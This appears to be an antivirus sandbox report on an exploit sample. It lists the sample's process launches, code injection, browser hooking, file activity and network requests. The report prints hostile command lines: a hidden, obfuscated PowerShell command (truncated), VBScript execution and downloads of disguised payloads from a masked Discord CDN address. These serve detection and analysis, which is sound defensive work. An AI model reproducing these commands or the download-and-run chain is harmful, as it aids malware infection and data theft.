Exploit.Siggen2.42215

Technical Information

Malicious functions

Creates and executes the following (exploit)

'%WINDIR%\syswow64\cscript.exe' %TEMP%\pp2.vbs AC

Executes the following (exploit)

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\pp2.vbs AC
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $D22220664C572324C49C13C13FC2058FA807174D214DF9FA9B730AB815A8FB759EEEED130713EED08169D09E=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,115,116,1...

Injects code into

the following system processes:

%WINDIR%\explorer.exe

the following user processes:

iexplore.exe

Hooks functions

in browsers

firefox.exe process, nss3.dll module

Modifies file system

Creates the following files

%TEMP%\pp2.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\818e6643cc6c0084dae4ea3d33d94b48_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\83ed05d2cb647a1cfba9ba7e782b1c5e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9cde37d1e58fc1c5a833a023527d9916_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4c6607da40b7c059b680437fc8a674af_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6d0714d17cfd37f4819336c0f2ab34e0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cfaf477a7343c4bded019d99f96764a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1654c582825750f5e9be32dfe8eb4292_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\94d0394c4f7c2d0e898cd1b04a2a2e0a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4f6e3c1fdf5f46db52c4add7e0441e27_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7fc5a21a478e49af5eaaac96393a3e75_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9832f913a3db9e28970bac0b404ee14b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7a6e709afb517a3b58161e5da09ad96d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\07d53783179af476ecf72e1e96d08de7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\663a180afb53e0d6a8f667f3aa1f0865_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bfc1edec6288be8940d7d6fc924805ce_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b5ea616d0e6a2293eeb93c83d0106eab_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9befd29d0a4b223060e57021a858ad91_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a1610924af812145946656ce618a5058_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5d6075d1f6a2edac6e12a0699066c3b0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3854c75659cc19cb37d3aeec61781202_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\52dbeb0cd4ad41c349efcb843f99c308_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d4f20d896fdb5b29cbb38a8461b59686_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b656efa3aed0266da281b8a1be7aa554_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c5aec335945f1e4deb3687c2188c1ae1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\72155526b6058ca31b872e0d4abd9d4d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c7f2b3b10db7b9fc12663b71980669db_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ffeffc770ad4e4e9838224af6f0e2f5d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7adaff340d2bd6b144842a3beccb8b01_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8a6429ad488ddddca59cc6238321df49_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2294a1149b6de0a8526e98a159fd61a2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a0263b4f69577ff884b0726beb0e9c73_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9b5114abe09e5d6176eeeb04caad7fed_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c80b6174b8ec68611d247aaa8d92c620_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d8a79c8f4207e3c42260b63c5e349493_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7631645d3d33b540e21a38c15a550ddd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Deletes the following files

%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\72155526b6058ca31b872e0d4abd9d4d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1654c582825750f5e9be32dfe8eb4292_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\818e6643cc6c0084dae4ea3d33d94b48_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\83ed05d2cb647a1cfba9ba7e782b1c5e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9cde37d1e58fc1c5a833a023527d9916_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4c6607da40b7c059b680437fc8a674af_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6d0714d17cfd37f4819336c0f2ab34e0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\663a180afb53e0d6a8f667f3aa1f0865_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d8a79c8f4207e3c42260b63c5e349493_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bfc1edec6288be8940d7d6fc924805ce_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4f6e3c1fdf5f46db52c4add7e0441e27_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7fc5a21a478e49af5eaaac96393a3e75_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9832f913a3db9e28970bac0b404ee14b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7a6e709afb517a3b58161e5da09ad96d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\07d53783179af476ecf72e1e96d08de7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\cfaf477a7343c4bded019d99f96764a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\94d0394c4f7c2d0e898cd1b04a2a2e0a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b5ea616d0e6a2293eeb93c83d0106eab_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c7f2b3b10db7b9fc12663b71980669db_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\5d6075d1f6a2edac6e12a0699066c3b0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3854c75659cc19cb37d3aeec61781202_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\52dbeb0cd4ad41c349efcb843f99c308_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d4f20d896fdb5b29cbb38a8461b59686_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b656efa3aed0266da281b8a1be7aa554_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c5aec335945f1e4deb3687c2188c1ae1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c80b6174b8ec68611d247aaa8d92c620_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a1610924af812145946656ce618a5058_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ffeffc770ad4e4e9838224af6f0e2f5d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7adaff340d2bd6b144842a3beccb8b01_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8a6429ad488ddddca59cc6238321df49_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2294a1149b6de0a8526e98a159fd61a2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a0263b4f69577ff884b0726beb0e9c73_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9b5114abe09e5d6176eeeb04caad7fed_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9befd29d0a4b223060e57021a858ad91_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7631645d3d33b540e21a38c15a550ddd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Network activity

TCP

HTTP GET requests

http://cd#.##scordapp.com/attachments/733818080668680222/758167352436850718/sut.jpg
http://cd#.##scordapp.com/attachments/733818080668680222/758167247965126677/p2.jpg

'cd#.##scordapp.com':443

UDP

DNS ASK cd#.##scordapp.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\pp2.vbs AC' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $D22220664C572324C49C13C13FC2058FA807174D214DF9FA9B730AB815A8FB759EEEED130713EED08169D09E=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,115,116,1...' (with hidden window)

Executes the following

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\cmd.exe' /c sc query wcncsvc >> AC
'%WINDIR%\syswow64\calc.exe'
'%WINDIR%\syswow64\raserver.exe'
'%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

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